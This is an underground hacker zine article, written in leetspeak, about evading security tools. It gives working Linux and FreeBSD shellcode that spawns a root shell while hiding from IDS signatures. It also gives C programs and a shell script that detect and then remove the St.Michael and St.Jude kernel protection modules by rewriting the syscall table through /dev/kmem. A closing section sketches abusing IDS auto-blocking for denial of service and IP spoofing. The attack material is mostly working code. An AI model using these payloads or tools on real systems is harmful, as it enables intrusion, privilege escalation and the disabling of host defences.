..-----------------------------..
..       IDS  warez  bugz      ..
.._____________________________..


  C0nt3nt

   0x01    bypassing shellcodez detection
   0x02    lkm protection t00lz 0wnage (st.michael & st.jude)
   0x03    have fun with port-scanning detectorz / snifferz


 --[1]--  bypassing shellcodez detection

   Well, looks like even dumb guys from RST (lame  "Rush  Security  Team")
   understand,  what some  ids'z can  detect  our  shellcode  in  incoming
   traffic.  All ICWiender's  and  code_pimps  magazine  staff's (only  on
   russian, url: cp.russcenter.org) attempts  to  write shellcode  without
   nopz are not so useful - their methods are not rational (their  idea is
   in using jmp +1).  But,  in fact this is not a problem.  So,  here i'll
   show how to write shellcodes  without chars 0x90 and \xcd\x80  (really,
   here i'm just masking a int 80h opcodez).


   The stupidest problem is how  to don't use nops  -  just use arithmetic
   ops on registers and don't worry. Xmpl with %eax:

          incl %eax   // opcode 0x40
          decl %eax   // opcode 0x48
          ...
          xorl %eax,%eax
          bla-bla-bla

   For very ``clever''  -  here  we  just increasing register's  value and
   decreasing it. Really,  32-bit register has large range, so we also can
   don't use dec-op.Cuz everyone can generate lotz of different operations
   with registers,  it's seems to be  imposible to use some  signatures to
   detect our  shellcode (sure, analyzing disasm of code can help,  but it
   takes time). Here short list of main arithmetic opcodez:

          incl %ebx   // opcode 0x43
          decl %ebx   // opcode 0x4b
          incl %ecx   // opcode 0x41
          decl %ecx   // opcode 0x49
          incl %edx   // opcode 0x42
          decl %edx   // opcode 0x4a


   Another one problem   -  how to hide \xcd\x80 in shellcode,  -  is more
   interesting. But here there is a nice solution: generate  \xcd\x80 code
   in register,  put it onto  stack and use  call op with code'z  pointer.
   Here example for linux/x86:

   ## put this code onto stack:
    #
    #   clc
    #   int $0x80
    #   ret
   ##

     pushw $0xc380
     pushw $0xcdf8
     movl %esp, %eax
     pushl %eax
     movl %esp, %esi  # store our pointer in %esi...

   ##  chroot()  ##
     xorl %eax,%eax
     push %eax
     pushw $0x2f2f
     movl %esp,%ebx
     mov $61, %al
     call *(%esi)     # ...and just call it

   ##  setuid()  ##
     xorl %eax,%eax
     xorl %ebx,%ebx
     mov $23, %al
     call *(%esi)

   ##  execve()  ##
     xorl %eax,%eax
     xorl %edx,%edx
     push %eax
     pushl $0x68732f6e
     pushl $0x69622f2f
     movl %esp, %ebx
     pushl %edx
     pushl %ebx
     movl %esp,%ecx
     movb $11,%al
     call *(%esi)

   Finally, let's translate it to ascii:

  /* Linux/x86 shellcode */
  /* init int_0x80 code in stack and pointer */

   "\x66\x68\x80\xc3"      //  	pushw  $0xc380
   "\x66\x68\x90\xcd"      //  	pushw  $0xcd90
   "\x89\xe0"              //  	movl   %esp,%eax
   "\x50"                  //  	push   %eax
   "\x89\xe6"              //  	movl   %esp,%esi

  /* chroot() */

   "\x31\xc0"              //  	xorl   %eax,%eax
   "\x50"                  //  	push   %eax
   "\x66\x68\x2f\x2f"      //  	pushw  $0x2f2f
   "\x89\xe3"              //  	movl   %esp,%ebx
   "\xb0\x3d"              //  	mov    $0x3d,%al
   "\xff\x16"              //  	call   *(%esi)

  /* setuid() */

   "\x31\xc0"              //  	xorl   %eax,%eax
   "\x31\xdb"              //  	xorl   %ebx,%ebx
   "\xb0\x17"              //  	mov    $0x17,%al
   "\xff\x16"              //  	call   *(%esi)

  /* execve() */

   "\x31\xc0"              //  	xorl   %eax,%eax
   "\x31\xd2"              //  	xorl   %edx,%edx
   "\x50"                  //  	push   %eax
   "\x68\x6e\x2f\x73\x68"  //  	push   $0x68732f6e
   "\x68\x2f\x2f\x62\x69"  //  	push   $0x69622f2f
   "\x89\xe3"              //  	movl   %esp,%ebx
   "\x52"                  //  	push   %edx
   "\x53"                  //  	push   %ebx
   "\x89\xe1"              //  	movl   %esp,%ecx
   "\xb0\x0b"              //  	mov    $0xb,%al
   "\xff\x16"              //  	call   *(%esi)

  /* total 59 bytes */


  On BSD-systems (tested on FreeBSD) it's almost the same:

   ##  init int_80h code in stack
     pushw $0xc380
     pushw $0xcdf8
     movl %esp,%eax
     pushl %eax
     movl %esp,%edx  # now, we store pointer in %edx
                     # (btw, cuz all syscall'z arguments are passed via
                     # stack, we can store our infaz in %ebx, %ecx, %edx)

   ##  setuid()  ##
     xorl %eax,%eax
     pushl %eax
     pushl $23
     call *(%edx)  # now call pointer (sux, in freebsd's user-mode %esi is also
                   #  used)

   ##  execve()  ##
     xor %eax,%eax
     pushl %eax
     pushl $0x68732f6e
     pushl $0x69622f2f
     movl %esp,%ebx
     pushl %eax
     pushl %ebx
     movl %esp,%ecx
     pushl %eax
     pushl %ecx
     pushl %ebx
     pushl $59
     call *(%edx)


   Let's translate this shellcode to ascii now:

  /* FreeBSD/x86 shellcode */
  /* init int_0x80 code in stack and pointer */

   "\x66\x68\x80\xc3"      // pushw  $0xc380
   "\x66\x68\xf8\xcd"      // pushw  $0xcdf8
   "\x89\xe0"              // movl   %esp,%eax
   "\x50"                  // pushl  %eax
   "\x89\xe2"              //	movl   %esp,%edx

  /* setuid() */

   "\x31\xc0"              // xorl   %eax,%eax
   "\x50"                  // pushl  %eax
   "\x6a\x17"              // pushl  $0x17
   "\xff\x12"              //	call   *(%edx)

  /* execve() */

   "\x31\xc0"              // xorl   %eax,%eax
   "\x50"                  // pushl  %eax
   "\x68\x6e\x2f\x73\x68"  //	pushl  $0x68732f6e
   "\x68\x2f\x2f\x62\x69"  //	pushl  $0x69622f2f
   "\x89\xe3"              // movl   %esp,%ebx
   "\x50"                  // pushl  %eax
   "\x53"                  // pushl  %ebx
   "\x89\xe1"              // movl   %esp,%ecx
   "\x50"                  // pushl  %eax
   "\x51"                  // pushl  %ecx
   "\x53"                  // pushl  %ebx
   "\x6a\x3b"              // pushl  $0x3b
   "\xff\x12"              //	call   *(%edx)

  /* total 46 bytes */




 --[2]--  lkm protection t00lz 0wnage (st.michael & st.jude)


   Now,  let's talk  about stupid warez,  called  protection lkmz.  At the
   moment,  there  are two  most usable toolz:  St.Michael,  which  should
   detect  lkm-rootkits   by  checking  sys_call_table  and  checksums  of
   registered there funcs,  and St.Jude,  which should track  for a  users
   activity and prevent any priv-escalation attempts. Huh, we can say what
   Timothy Lalwess, st.z-ware author, is another one stupid whitehat.


   Btw, progs works good i hope (damn, on my old kernel 2.2.x i got kernel
   panic, then inserting St.Jude.o )), but by idea we can remove them from
   kernel memory ;)  First of all,  lets examine  how st.z-ware inserts in
   kern:

   /* fragment from StMichael_lkm.c */

     (void *) orig_init_module = sys_call_table[__NR_init_module];
     (void *) orig_delete_module = sys_call_table[__NR_delete_module];
     (void *) orig_exit = sys_call_table[__NR_exit];
     (void *) orig_create_module = sys_call_table[__NR_create_module];

 #if defined(FSCHECK) || defined(ROKMEM) || defined(REALLY_IMMUTABLE)
     (void *) sm_open = sys_call_table[__NR_open];
     (void *) sm_close = sys_call_table[__NR_close];
 #endif

     (void *) syscall_reboot = sys_call_table[__NR_reboot];
     (void *) syscall_sync = sys_call_table[__NR_sync];

     sys_call_table[__NR_init_module] = (void *) sm_init_module;
     sys_call_table[__NR_delete_module] = (void *) sm_delete_module;
     sys_call_table[__NR_create_module] = (void *) sm_create_module;
     sys_call_table[__NR_exit] = (void *) sm_exit;


   As we can see, prog hooks main sys_call, with which attacker can insert
   own modules in  kernel.  But there is a hole with access to  /dev/kmem:
   even if St.-ware blocks to us write-access to this file, we can read it
   and detect their  presence.  Btw,  some parts of  St.Jude are  based on
   St.Michael, so this method should helps us detect all St.-ware:

 /*
    fuck_stz.c

     St.Michael or St.Jude detector

     (c) russian underground community
 */

 #include <stdio.h>
 #include <fcntl.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <asm/unistd.h>

 unsigned long ma_atol(char *p)
 {
   int i;
   unsigned long tmp,fs,res=0;
   char v[8];

   memcpy(&v,p,8);
   fs = 65536 * 256;
 
   for(i=0; i<8; i+=2){

     if (v[i] == 0x30) tmp = 0;
     if (v[i] == 0x31) tmp = 16;
     if (v[i] == 0x32) tmp = 32;
     if (v[i] == 0x33) tmp = 48;
     if (v[i] == 0x34) tmp = 64;
     if (v[i] == 0x35) tmp = 80;
     if (v[i] == 0x36) tmp = 96;
     if (v[i] == 0x37) tmp = 112;
     if (v[i] == 0x38) tmp = 128;
     if (v[i] == 0x39) tmp = 144;
     if (v[i] == 0x61) tmp = 160;
     if (v[i] == 0x62) tmp = 176;
     if (v[i] == 0x63) tmp = 192;
     if (v[i] == 0x64) tmp = 208;
     if (v[i] == 0x65) tmp = 224;
     if (v[i] == 0x66) tmp = 240;

     if (v[i+1] == 0x31) tmp += 1;
     if (v[i+1] == 0x32) tmp += 2;
     if (v[i+1] == 0x33) tmp += 3;
     if (v[i+1] == 0x34) tmp += 4;
     if (v[i+1] == 0x35) tmp += 5;
     if (v[i+1] == 0x36) tmp += 6;
     if (v[i+1] == 0x37) tmp += 7;
     if (v[i+1] == 0x38) tmp += 8;
     if (v[i+1] == 0x39) tmp += 9;
     if (v[i+1] == 0x61) tmp += 10;
     if (v[i+1] == 0x62) tmp += 11;
     if (v[i+1] == 0x63) tmp += 12;
     if (v[i+1] == 0x64) tmp += 13;
     if (v[i+1] == 0x65) tmp += 14;
     if (v[i+1] == 0x66) tmp += 15;
   
     res += tmp * fs;
     fs /= 256;
   }

   return res;
 }


 int main( int argc, char *argv[])
 {
   int fd,kmem, syscall;
   long addr1, addr2, sct;
   char rec[9]; // conf file record line

   if (argc < 2){
     printf("Usage: %s sys_call_num \n",argv[0]);
     exit(1);
   }

   syscall = atoi(argv[1]);

   fd = open("/tmp/conf",O_RDONLY);

   if (fd < 0){
     printf("[-] cant open /tmp/conf!\n");
     exit(1)'
   }

   chdir("/dev");
   kmem = open("./kmem", O_RDONLY);

   if (kmem < 0){
     printf("[-] cant read /dev/kmem! Maybe St.Michael/Jude blocks j00?\n");
     close(fd);
     exit(1);
   }

   read(fd, &rec, 9);
   sct = ma_atol((char *)&rec);
   printf("get addr of sys_call_table %x\n",sct);

   read(fd, &rec, 9);
   addr1 = ma_atol((char *)&rec);

   lseek(kmem, sct + syscall*4, SEEK_SET);
   read(kmem, &addr2, 4);

   if (addr1 != addr2) printf("St.Michael or St.Jude in system!\n");
   else printf("Everythin' is ok!\n");

   close(kmem);
   close(fd);
   exit(0);
 }


   How to use it:

    satanix~># pwd
    /tmp

    satanix~># cat /boot/System.map | grep -a " sys_call"
    c0227240 D sys_call_table

    satanix~># echo c0227240 > ./conf
    satanix~># cat /boot/System.map | grep -a "T init_modules"
    c0244420 T init_modules

    satanix~># echo c0244420 >> ./conf
    satanix~># gcc -o fuckem fuck_stz.c
    satanix~># cat /usr/include/asm/unistd.h | grep init_mod
    #define __NR_init_module	128

    satanix~># ./fuckem 128
    St.Michael or St.Jude in system!

    satanix~>#

   It's very easy and lame ))  Also,  algorithm of prog,  which can remove
   from kernel st.z-ware syscallz handlers if it is possible: get original
   addrz of hooked syscalls from /boot/System.map, read current  handler's
   addr and compare them. After this, restore an original handler  address
   if they not equal. And example:


 /*
               !!! St.Michael / St.Jude remover !!!

  St.Michael wraps this syscalls:

   init_module
   delete_module
   create_module
   exit

  St.Jude aslo wraps this:

   init_module
   delete_module
   create_module
   exit

   fork
   vfork
   clone
   setuid
   setreuid
   execve


   (c) russian underground community
 */

 #include <stdio.h>
 #include <unistd.h>
 #include <fcntl.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <asm/unistd.h>

 #include "ma_atol.h"


 int main( int argc, char *argv[])
 {
   int i, fd, kmem, syscall;
   unsigned int dumb;
   unsigned long orig, cur, sct;
   char rec[9]; // conf file record line

   if (argc < 2){
     printf("Usage: %s type \n types: \n  1\t\t St.Michael\n  2\t\t St.Jude\n",
       argv[0]);
     exit(1);
   }

   dumb = atoi(argv[1]);

   if (dumb != 1 && dumb != 2){
     printf("bad mode\n");
     exit(1);
   }

   fd = open("/tmp/conf",O_RDONLY);

   if (fd < 0){
  
     printf("cant open /tmp/conf!\n");
     exit(1);
    
   }

   chdir("/dev");

   kmem = open("./kmem", O_RDWR);

   if (kmem < 0){
     printf("[-] can't access to /dev/kmem! Some asshole blocks you\n");
     close(fd);
     exit(1);
   }

   read(fd, &rec, 9);
   sct = ma_atol((char *)&rec);
   printf("get addr of sys_call_table %x\n",sct);


 /* check init_module() */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_init_module*4, SEEK_SET);
   read(kmem, &cur, 4);
 
   if (orig != cur){

     lseek(kmem, sct + __NR_init_module*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] init_module() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }



 /* check delete_module() */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_delete_module*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_delete_module*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] delete_module() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }


 /* check create_module() */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_create_module*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_create_module*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] create_module() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }


 /* check sys_exit() */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_exit*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_exit*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] sys_exit() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }

   if (dumb == 1){

     printf("done!\n");
     close(kmem);
     close(fd);
     exit(0);

   }

 /* now let'z kick St.Jude's ass!! */

 /* check fork */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_fork*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_fork*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] fork() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }


 /* check vfork */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_vfork*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_vfork*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] vfork() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }


 /* check clone */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_clone*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_clone*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] clone() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }



 /* check setuid */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_setuid*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_setuid*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] setuid() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }


 /* check setreuid */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_setreuid*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_setreuid*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] setreuid() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }


 /* check execve */
   read(fd, &rec, 9);
   orig = ma_atol((char *)&rec);

   lseek(kmem, sct + __NR_execve*4, SEEK_SET);
   read(kmem, &cur, 4);

   if (orig != cur){

     lseek(kmem, sct + __NR_execve*4, SEEK_SET);
     write(kmem, &orig, 4);
     printf("[+] execve() addr fixed succesfully (%x from %x)!\n",orig,cur);

   }

   printf("well done!\n");

   close(kmem);
   close(fd);
   exit(0);
 }


   And it's configurator:

 #!/bin/sh

 cd /boot/
 cat System.map | grep -a "D sys_call" >/tmp/conf.0
 cat System.map | grep sys_init >>/tmp/conf.0
 cat System.map | grep sys_delete >>/tmp/conf.0
 cat System.map | grep sys_create >>/tmp/conf.0
 cat System.map | grep -a "T sys_exit" >>/tmp/conf.0

 cat System.map | grep sys_fork >>/tmp/conf.0
 cat System.map | grep sys_vfork >>/tmp/conf.0
 cat System.map | grep sys_clone >>/tmp/conf.0

 cat System.map | grep sys_setuid | head -1 >>/tmp/conf.0
                    # mb u need setuid16 !! Just change 'head -1' to 'tail -1'
 cat System.map | grep sys_setreuid | head -1 >>/tmp/conf.0
                    # mb u need setreuid16 here!! change 'head -1' to 'tail -1'

 cat System.map | grep sys_execve >>/tmp/conf.0

 cd /tmp/
 cat conf.0 | awk -F " " '{print $1}' >>conf
 echo "config generation done!"
 # _eof_


   On my old kernel st.jude doesn't work, so i not tested this ware on it.
   Theoretically whis should work fine.  Im too lazy to update kernel ;P ,
   may be next time?




 --[3]--  have fun with port-scanning detectorz / snifferz


   Haha,  it's really stupid and lame kind of warez.  How  warez like this
   works? It sniffs incoming traffic, analysing it and some times write to
   logs about attack attempt. How wa can play with it?


   1. If in system there is any IPS (Intrusion Prevention System)  and  it
   watch  for a logfile,  we can force  it to do any action by  writing in
   logs records, equal IPSz signatures (if packet's content is logged sure
   ). In the most primitive way, we can organize DoS attack.


   2. Another  nice  thing  -  if  after scan  detection,  IDS/IPS  blocks
   attacker's ip,  we can  use this  feature in own  purposes. I.e. it's a
   good chance to spoof smthn )) Simple sheme:


     phase 1.
                         6.6.6.13
                      host X  (attacker)
                  .//"
                 .//"
                .//"  imitate scan from host B
               .//"
               1/
          host A                                host B
        (here IPS)                    (old rsh-server, trusted host 13.6.6.6)
         13.6.6.6                               13.0.0.7


     phase 2.

                       6.6.6.13
                     host X (attacker)
                                    "\\.
                                     "\\.  start spoofing
                                      "\\.
                                       "\\.       ( src_ip: 13.6.6.6 )
                                         \1
          host A      reply packets     host B
        (here IPS)  <============== (old rsh-server)
         13.6.6.6                       13.0.0.7

   host A ignores all TCP/UDP
   traffic from host B, so we can
   continue spoofing.


.e.o.f.
